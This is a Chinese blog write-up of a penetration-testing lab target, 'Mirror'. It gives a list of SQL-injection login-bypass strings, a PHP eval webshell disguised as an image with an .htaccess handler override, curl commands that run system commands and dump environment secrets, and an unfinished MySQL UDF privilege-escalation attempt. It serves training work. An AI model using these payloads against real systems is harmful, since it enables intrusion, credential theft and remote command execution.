综合渗透训练——B-mirror
本文最后更新于 9 天前,其中的信息可能已经有所发展或是发生改变。

概要

  • 靶机名称:镜(Mirror)
  • 目标网址:172.16.11.51
  • 涉及操作:SQL注入+文件上传过滤机制+Apache分布式配置文件+数据库提权+UDF扩展+容器逃逸

核心考察点:

  • Web 层漏洞(SQL注入为主)→ 拿管理员密码(flag1)
  • 后台利用 + 文件上传 + 配置审计 + 数据库提权 → 命令执行(flag2)
  • 容器逃逸(Docker Socket / Docker API 利用)→ 宿主机 flag3

一、信息收集

先搜集基本信息,查看网页

curl -I http://172.16.11.228/

HTTP/1.1 200 OK
Date: Thu, 26 Mar 2026 08:14:33 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Set-Cookie: PHPSESSID=bca04db302905a10dcc5451131f460e1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

可汇总为

  • Web Server: Apache/2.4.54 (Debian)
  • PHP 版本: 7.4.33(较老版本,存在较多已知问题) Session: 标准 PHPSESSID
  • 系统环境: Debian + PHP 7.4,极大概率运行在
  • Docker 容器 中(第三题提示非常明确指向 Docker API 逃逸)

二、漏洞利用和分析

SQL注入

在登录页面尝试SQL注入,绕过前端验证,进入后台

admin” or “1”=”1
admin” or 1=1 --
admin” or “1”=”1″--
admin’ or ‘1’=’1′--
admin’ or ‘1’=’1′ #
admin’ or 1=1 -- – (
‘ or ‘1’=’1′ --
admin’ or ‘1’=’1′ /*
‘) or (‘1’=’1
1′ or ‘1’=’1′ --
admin’/**/or/**/1=1 --
admin’ or 1=1– (去掉空格试试)
aDmIn’ Or ‘1’=’1
admin’ or 2>1 --
admin” or 1=1 or “”=”
admin’) or (‘1’=’1’) --
0′ or 1=1 --
admin' || '1'='1

如图所示,admin' || '1'='1可以绕进后台

文件上传

来到后台界面,发现有上传文件的功能。先验证是否能够正常上传

验证完成之后,尝试上传各种php文件,发现失败。利用burpsuite修改为.php5、.phtml等php类型后缀,全都失效,推测前端做了强过滤方式。

直接在burpsuite将.php改为.jpg,同时还需要.htaccess文件辅助,避免无法调用木马

#shell.php
GIF89a;
<?php
@eval($_POST['cmd']);
?>

------------------------------分隔--------------------------------------

#.htaccess      //注意避免直接将该文件命名为.htaccess,会被kali自动隐藏
AddType appliaction/x-httpd-php .jpg
AddType appliaction/x-httpd-php .gif
AddHandler php7-script .jpg

将两个文件上传后,回到攻击机kali,验证是否起效

flag1

curl -X POST http://172.16.11.51/uploads/shell.jpg -d "cmd=system('ls -al /');"

发现重点文件:.dockerenv,说明包含env相关的敏感重要信息,尝试读取

 curl -X POST http://172.16.11.51/uploads/shell.jpg -d "cmd=system('env');"

获取到数据库账密,远程连接尝试

 mysql -h 172.16.11.51 -u root -pKp7mXz2wRn9sLqDf --skip-ssl
#直接在数据库内部查询数据
show databases;
use mirror_shop;
show tables;
select * from users;

直接获取flag1

flag1{d4e7a2c9f185b3064c9d8e1f72b5a6d3}

UDF投递

检查当前MySQL权限,确认是否可以直接篡改插件文件目录

select @@secure_file_priv;

返回为空,证明权限过高,可以篡改插件文件目录

编写UDF,写入插件目录下

# 解密文件
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
-i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
-o /tmp/lib_mysqludf_sys_64.so
 
#转换十六进制
xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt

将UDF投入数据库插件目录下,创建新函数sys_eval,方便快速返回结果

#在数据库里面操作
SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.so';

此时出现误差,报错:文件内容太短,无法读取。


暂时还未找出原因,后续将再次尝试

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇